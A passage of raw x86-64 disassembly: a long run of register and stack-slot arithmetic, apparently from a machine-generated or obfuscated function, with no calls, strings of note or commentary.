mov rax, qword [rsp + 0xc7d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb298]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e5], al
movzx eax, word [rsp + 0xfac]
movzx ecx, word [rsp + 0xfd4]
add eax, ecx
mov rcx, qword [rsp + 0xcea0]
mov word [rcx], ax
mov rax, qword [0x14019d988]
movzx eax, byte [rax]
mov byte [rsp + 0x2bb], al
mov rax, qword [rsp + 0xb858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4774]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a98], eax
lea rax, [rsp + 0x3ea0]
mov qword [rsp + 0xd6d0], rax
movzx eax, byte [rsp + 0x24c]
mov rcx, qword [0x14019d7c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd2e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc648]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c0fc], ax
mov rax, qword [rsp + 0xd378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4918]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4168]
mov dword [rsp + 0x4f68], eax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x451c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4394], eax
mov eax, dword [rsp + 0x46a0]
mov dword [rsp + 0x4f6c], eax
mov rax, qword [0x14019d7c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f7]
sar eax, cl
mov rcx, qword [rsp + 0xc1b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xbdc]
movzx ecx, word [rsp + 0x12f4]
or eax, ecx
mov rcx, qword [rsp + 0xb898]
mov word [rcx], ax
mov rax, qword [0x14019dd60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e88]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x38f4], eax
mov rax, qword [rsp + 0xd200]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd2c0]
mov qword [rsp + 0xd6d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3cbc], eax
movsx eax, word [rsp + 0x13c4]
movsx ecx, word [rsp + 0x1474]
and eax, ecx
mov rcx, qword [0x14019de78]
mov word [rcx], ax
lea rax, [rsp + 0x219]
mov qword [rsp + 0xd6e0], rax
movzx eax, byte [rsp + 0x268]
movzx ecx, byte [rsp + 0x257]
add eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xb4d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1154]
add eax, ecx
mov word [rsp + 0xa54], ax
mov rax, qword [0x14019da58]
mov eax, dword [rax]
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0xbe60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ca8], eax
mov eax, dword [rsp + 0x47d0]
mov dword [rsp + 0x4f74], eax
mov eax, dword [rsp + 0x4df0]
mov ecx, dword [rsp + 0x4b88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cb0], eax
lea rax, [rsp + 0x3334]
mov qword [rsp + 0xd6e8], rax
mov rax, qword [rsp + 0xc740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc608]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13e8], ax
mov rax, qword [0x14019d8b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cf]
and eax, ecx
mov rcx, qword [0x14019dee0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb7d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3324]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4664], eax
lea rax, [rsp + 0x47bc]
mov qword [rsp + 0xd6f0], rax
mov rax, qword [rsp + 0xcaf0]
mov ecx, dword [rsp + 0x4d6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4948], eax
mov eax, dword [rsp + 0x33f0]
mov dword [rsp + 0x4f78], eax
mov rax, qword [rsp + 0xd0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb578]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x1ca]
movzx ecx, byte [rsp + 0x29d]
or eax, ecx
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0xac50]
movzx eax, word [rax]
mov word [rsp + 0x147c], ax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b8]
shl eax, cl
mov rcx, qword [rsp + 0xc5a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cc0]
movzx ecx, al
mov eax, dword [rsp + 0x4430]
shr eax, cl
mov dword [0x14019c100], eax
mov rax, qword [rsp + 0xcc38]
mov eax, dword [rax]
mov dword [rsp + 0x4f7c], eax
movzx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0xca70]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0xafd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1d8], al
mov eax, dword [rsp + 0x3e18]
mov dword [rsp + 0x4f80], eax
mov rax, qword [rsp + 0xba68]
mov ecx, dword [0x14019c0f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x487c], eax
lea rax, [rsp + 0x48e0]
mov qword [rsp + 0xd6f8], rax
mov rax, qword [rsp + 0xd000]
mov ecx, dword [rsp + 0x4520]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd2c8]
mov dword [rcx], eax
lea rax, [rsp + 0x134]
mov qword [rsp + 0xd700], rax
lea rax, [rsp + 0x1010]
mov qword [0x14019e098], rax
mov rax, qword [rsp + 0xd220]
mov ecx, dword [rsp + 0x499c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4888], eax
mov rax, qword [rsp + 0xd2e8]
mov rcx, qword [0x14019dc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb820]
mov dword [rcx], eax
lea rax, [rsp + 0x4c20]
mov qword [rsp + 0xd708], rax
mov eax, dword [rsp + 0x34c0]
mov ecx, dword [rsp + 0x4174]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49d8], eax
lea rax, [rsp + 0x48e0]
mov qword [rsp + 0xd710], rax
movsx eax, word [0x14019bf04]
movsx ecx, word [rsp + 0x11b8]
add eax, ecx
mov rcx, qword [rsp + 0xb348]
mov word [rcx], ax
mov rax, qword [rsp + 0xbdd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b8]
and eax, ecx
mov byte [rsp + 0x254], al
movzx eax, word [rsp + 0x10a0]
mov word [rsp + 0x1480], ax
movzx eax, byte [rsp + 0x22c]
movzx ecx, byte [rsp + 0x193]
sub eax, ecx
mov byte [0x14019bf06], al
mov rax, qword [rsp + 0xb030]
mov ecx, dword [rsp + 0x4290]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xcd20]
mov dword [rcx], eax
lea rax, [rsp + 0x4238]
mov qword [rsp + 0xd718], rax
movzx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0xae20]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xae68]
mov word [rcx], ax
mov rax, qword [rsp + 0xce00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
xor eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0xc6b0]
mov eax, dword [rax]
mov dword [rsp + 0x4f84], eax
mov rax, qword [rsp + 0xc7a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaf88]
mov qword [rsp + 0xd720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd720]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4c4c], eax
lea rax, [rsp + 0x4600]
mov qword [rsp + 0xd728], rax
mov eax, dword [rsp + 0x45fc]
mov ecx, dword [rsp + 0x43d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x480c], eax
movzx eax, word [rsp + 0x11cc]
movzx ecx, word [rsp + 0xf3c]
and eax, ecx
mov word [0x14019c054], ax
mov rax, qword [rsp + 0xccf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x183]
add eax, ecx
mov byte [rsp + 0x268], al
lea rax, [0x14019daa0]
mov qword [rsp + 0xd730], rax
mov rax, qword [rsp + 0xc258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4bc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c38], eax
mov rax, qword [rsp + 0xcb98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf84]
add eax, ecx
mov word [rsp + 0xda4], ax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x182]
sub eax, ecx
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0xb718]
movzx eax, byte [rax]
mov byte [rsp + 0x2bc], al
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0xd010]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd74], ax
mov rax, qword [0x14019d820]
mov ecx, dword [rsp + 0x3850]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ca4], eax
lea rax, [rsp + 0x4724]
mov qword [0x14019e0a0], rax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0xd738], rax
mov rax, qword [rsp + 0xd040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c18], eax
mov rax, qword [rsp + 0xcfa0]
mov eax, dword [rax]
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0xb448]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb678]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x246], al
mov rax, qword [0x14019df38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcec0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12dc], ax
mov rax, qword [rsp + 0xb9d0]
mov eax, dword [rax]
mov dword [rsp + 0x4f8c], eax
mov rax, qword [rsp + 0xc058]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46fc]
shr eax, cl
mov dword [rsp + 0x4234], eax
mov eax, dword [rsp + 0x4da8]
mov dword [rsp + 0x4f90], eax
mov eax, dword [rsp + 0x44d8]
movzx ecx, al
mov eax, dword [rsp + 0x466c]
shl eax, cl
mov rcx, qword [0x14019dd48]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0xab10]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xada8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0xa890]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc018]
mov byte [rcx], al
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xd740], rax
movsx eax, byte [rsp + 0x219]
movsx ecx, byte [rsp + 0xc2]
add eax, ecx
mov rcx, qword [rsp + 0xc8e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3348]
mov dword [rsp + 0x4f94], eax
mov rax, qword [rsp + 0xc8d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4788]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x471c], eax
lea rax, [rsp + 0x28a]
mov qword [rsp + 0xd748], rax
movzx eax, word [rsp + 0x1450]
movzx ecx, word [rsp + 0xf4c]
sub eax, ecx
mov word [rsp + 0xb94], ax
lea rax, [rsp + 0x4ae0]
mov qword [0x14019e0a8], rax
mov rax, qword [rsp + 0xa718]
mov rcx, qword [rsp + 0xd098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d44], eax
lea rax, [rsp + 0x4e7c]
mov qword [rsp + 0xd750], rax
mov rax, qword [rsp + 0xb9a8]
mov ecx, dword [rsp + 0x3a0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4aec], eax
lea rax, [rsp + 0x256]
mov qword [rsp + 0xd758], rax
movzx eax, word [rsp + 0x1070]
mov rcx, qword [rsp + 0xb520]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd058]
mov word [rcx], ax
mov rax, qword [rsp + 0xb918]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f2c], eax
lea rax, [rsp + 0x4304]
mov qword [rsp + 0xd760], rax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [0x14019bf44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa678]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfe8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49f8]
add ecx, eax
mov eax, ecx
mov dword [0x14019bfe4], eax
mov eax, dword [rsp + 0x4450]
mov dword [rsp + 0x4f98], eax
mov rax, qword [0x14019dd10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x184]
add eax, ecx
mov rcx, qword [rsp + 0xd4b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x13fc]
movsx ecx, word [rsp + 0x1114]
shl eax, cl
mov word [rsp + 0x137c], ax
lea rax, [rsp + 0xf5c]
mov qword [rsp + 0xd768], rax
movzx eax, byte [0x14019bf7f]
mov rcx, qword [rsp + 0xab28]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x25d], al
lea rax, [rsp + 0x43e8]
mov qword [rsp + 0xd770], rax
mov rax, qword [rsp + 0xcc28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c3c]
sar eax, cl
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [0x14019dd70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x183]
or eax, ecx
mov byte [rsp + 0x220], al
lea rax, [rsp + 0x10e0]
mov qword [0x14019e0b0], rax
lea rax, [rsp + 0x4b48]
mov qword [rsp + 0xd778], rax
mov rax, qword [rsp + 0xa6e8]
mov rcx, qword [rsp + 0xce58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb5e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb378]
mov eax, dword [rax]
mov dword [rsp + 0x4f9c], eax
mov rax, qword [rsp + 0xd3b0]
mov rcx, qword [rsp + 0xcc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44f4], eax
mov rax, qword [rsp + 0xbee8]
movzx eax, word [rax]
mov word [rsp + 0x1484], ax
movzx eax, byte [rsp + 0x25c]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x217], al
mov eax, dword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x4690]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb430]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4948]
mov ecx, dword [rsp + 0x4d48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3678], eax
movsx eax, word [rsp + 0x130c]
movsx ecx, word [rsp + 0x1444]
add eax, ecx
mov word [0x14019bf04], ax
movsx eax, byte [rsp + 0x210]
mov rcx, qword [0x14019ddc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xced0]
mov byte [rcx], al
lea rax, [rsp + 0x25e]
mov qword [rsp + 0xd780], rax
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0x1090]
add eax, ecx
mov word [rsp + 0x11a0], ax
mov rax, qword [0x14019db30]
mov ecx, dword [rsp + 0x4c24]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcbc0]
mov dword [rcx], eax
lea rax, [rsp + 0x4afc]
mov qword [rsp + 0xd788], rax
mov rax, qword [rsp + 0xceb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44c8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe40]
mov dword [rcx], eax
lea rax, [0x14019c074]
mov qword [rsp + 0xd790], rax
mov eax, dword [rsp + 0x4768]
mov ecx, dword [rsp + 0x4e38]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0xdd4]
shl eax, cl
mov rcx, qword [rsp + 0xbbb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1db]
mov byte [0x14019d805], al
mov eax, dword [rsp + 0x4780]
mov dword [rsp + 0x4fa0], eax
mov eax, dword [rsp + 0x3ee8]
mov rcx, qword [rsp + 0xb410]
mov qword [rsp + 0xd798], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd798]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd600]
mov dword [rcx], eax
lea rax, [rsp + 0x4db8]
mov qword [rsp + 0xd7a0], rax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [0x14019bf48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe54]
sub eax, ecx
mov rcx, qword [rsp + 0xa9c8]
mov word [rcx], ax
lea rax, [rsp + 0x1bb]
mov qword [rsp + 0xd7a8], rax
movsx eax, word [0x14019bf24]
mov rcx, qword [rsp + 0xd350]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac50]
mov word [rcx], ax
mov rax, qword [rsp + 0xcda0]
movzx eax, byte [rax]
mov byte [rsp + 0x2bd], al
mov rax, qword [rsp + 0xb9f8]
mov rcx, qword [rsp + 0xc8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c104], eax
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xca38]
mov dword [rcx], eax
lea rax, [rsp + 0x12f4]
mov qword [rsp + 0xd7b0], rax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [str.UY:OiAU]
and eax, ecx
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x48e0]
mov ecx, dword [rsp + 0x415c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42dc]
mov dword [rsp + 0x4fa4], eax
mov rax, qword [rsp + 0xb230]
mov rcx, qword [0x14019e090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b24], eax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov dword [rsp + 0x4fa8], eax
mov rax, qword [rsp + 0xa8c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc338]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfc4], ax
mov rax, qword [rsp + 0xc828]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d7b5]
add eax, ecx
mov byte [0x14019bf0f], al
mov rax, qword [rsp + 0xd128]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4194]
shr eax, cl
mov rcx, qword [rsp + 0xcba8]
mov dword [rcx], eax
lea rax, [rsp + 0x47b0]
mov qword [rsp + 0xd7b8], rax
mov eax, dword [rsp + 0x47c4]
movzx ecx, al
mov eax, dword [0x14019c08c]
shl eax, cl
mov dword [rsp + 0x4c98], eax
lea rax, [rsp + 0x45b0]
mov qword [rsp + 0xd7c0], rax
mov rax, qword [rsp + 0xba80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4674], eax
movsx eax, word [0x14019c004]
mov rcx, qword [rsp + 0xc8f0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe88], ax
lea rax, [rsp + 0x269]
mov qword [rsp + 0xd7c8], rax
movzx eax, byte [rsp + 0x1c0]
movzx ecx, byte [rsp + 0x212]
and eax, ecx
mov rcx, qword [rsp + 0xa970]
mov byte [rcx], al
mov rax, qword [0x14019d8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c108], ax
lea rax, [rsp + 0x44a4]
mov qword [rsp + 0xd7d0], rax
mov rax, qword [rsp + 0xc058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46cc], eax
mov rax, qword [rsp + 0xd688]
movzx eax, word [rax]
mov word [rsp + 0x1488], ax
mov rax, qword [rsp + 0xd218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd290]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x179], al
mov eax, dword [rsp + 0x4f3c]
mov ecx, dword [rsp + 0x4508]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb608]
mov dword [rcx], eax
lea rax, [rsp + 0x428c]
mov qword [rsp + 0xd7d8], rax
mov rax, qword [rsp + 0xd5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4208]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
lea rax, [rsp + 0x481c]
mov qword [rsp + 0xd7e0], rax
mov rax, qword [rsp + 0xc118]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11a8]
and eax, ecx
mov word [0x14019bf0c], ax
mov rax, qword [rsp + 0xc318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21b]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0xd150]
mov rcx, qword [0x14019de80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47cc], eax
lea rax, [rsp + 0x4e64]
mov qword [rsp + 0xd7e8], rax
movsx eax, byte [rsp + 0x2b2]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x254], al
movzx eax, word [rsp + 0x13a4]
mov word [rsp + 0x148c], ax
movzx eax, word [rsp + 0x134c]
movzx ecx, word [rsp + 0xae0]
shl eax, cl
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0xc9b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab28]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbcc8]
mov byte [rcx], al
lea rax, [0x14019c0c0]
mov qword [rsp + 0xd7f0], rax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
mov dword [0x14019e0b8], eax
mov eax, dword [rsp + 0x42cc]
movzx ecx, al
mov eax, dword [rsp + 0x4e48]
sar eax, cl
mov rcx, qword [rsp + 0xb490]
mov dword [rcx], eax
lea rax, [rsp + 0x428c]
mov qword [rsp + 0xd7f8], rax
mov rax, qword [0x14019e030]
mov ecx, dword [rsp + 0x4778]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e14], eax
mov rax, qword [rsp + 0xb6f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xafd0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc688]
mov byte [rcx], al
lea rax, [rsp + 0x11fc]
mov qword [rsp + 0xd800], rax
mov rax, qword [rsp + 0xac10]
mov rcx, qword [rsp + 0xbe80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41ec], eax
mov rax, qword [rsp + 0xcbc0]
mov eax, dword [rax]
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0xc658]
mov rcx, qword [rsp + 0xd4f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0xad90]
mov rcx, qword [rsp + 0xcf10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bfe8], eax
mov rax, qword [rsp + 0xbb78]
movzx eax, word [rax]
mov word [rsp + 0x1490], ax
mov rax, qword [rsp + 0xc8f8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf57]
add eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0xb298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa20]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa818]
mov byte [rcx], al
lea rax, [rsp + 0x1144]
mov qword [rsp + 0xd808], rax
mov rax, qword [rsp + 0xc640]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4678], eax
lea rax, [rsp + 0x49ec]
mov qword [rsp + 0xd810], rax
movzx eax, word [rsp + 0xdd4]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x107c], ax
movzx eax, byte [rsp + 0x238]
movzx ecx, byte [rsp + 0xac]
add eax, ecx
mov byte [rsp + 0x2b8], al
mov rax, qword [rsp + 0xd030]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4af0]
shr eax, cl
mov dword [0x14019d834], eax
lea rax, [rsp + 0x4200]
mov qword [rsp + 0xd818], rax
mov rax, qword [rsp + 0xb080]
mov rcx, qword [rsp + 0xabd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4520], eax
mov rax, qword [rsp + 0xb580]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x33b8]
shl eax, cl
mov dword [rsp + 0x37d8], eax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcf18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x16b], al
movzx eax, word [0x14019dbd0]
mov rcx, qword [rsp + 0xcb80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcbd0]
mov word [rcx], ax
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xd820], rax
mov eax, dword [0x14019c0bc]
mov ecx, dword [rsp + 0x4acc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44cc]
mov dword [rsp + 0x4fb0], eax
mov rax, qword [rsp + 0xad90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43cc]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c10c], eax
mov eax, dword [0x14019c078]
mov ecx, dword [rsp + 0x4480]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a70], eax
mov rax, qword [rsp + 0xbaf0]
movzx eax, byte [rax]
mov byte [rsp + 0x2be], al
movsx eax, word [rsp + 0x130c]
movsx ecx, word [rsp + 0x1300]
add eax, ecx
mov rcx, qword [rsp + 0xac20]
mov word [rcx], ax
mov rax, qword [rsp + 0xb718]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf6e]
add eax, ecx
mov byte [rsp + 0x229], al
movzx eax, word [rsp + 0xefc]
mov word [rsp + 0x1494], ax
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x443c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4128], eax
mov eax, dword [rsp + 0x4e00]
mov dword [rsp + 0x4fb4], eax
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x1bd]
add eax, ecx
mov rcx, qword [0x14019dda8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [0x14019db08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d04], eax
lea rax, [rsp + 0x4ca4]
mov qword [rsp + 0xd828], rax
mov eax, dword [rsp + 0x4960]
movzx ecx, al
mov eax, dword [rsp + 0x4670]
shl eax, cl
mov dword [rsp + 0x4958], eax
mov rax, qword [rsp + 0xc970]
mov eax, dword [rax]
mov dword [rsp + 0x4fb8], eax
movzx eax, word [rsp + 0x1198]
movzx ecx, word [rsp + 0x1168]
xor eax, ecx
mov word [rsp + 0x111c], ax
mov rax, qword [rsp + 0xca28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab28]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc4c8]
mov byte [rcx], al
lea rax, [0x14019bf60]
mov qword [rsp + 0xd830], rax
mov eax, dword [rsp + 0x4878]
mov rcx, qword [rsp + 0xd078]
mov qword [rsp + 0xd838], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd838]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4378], eax
movsx eax, byte [rsp + 0x14c]
mov rcx, qword [rsp + 0xabd8]
movsx ecx, byte [rcx]
add eax, ecx
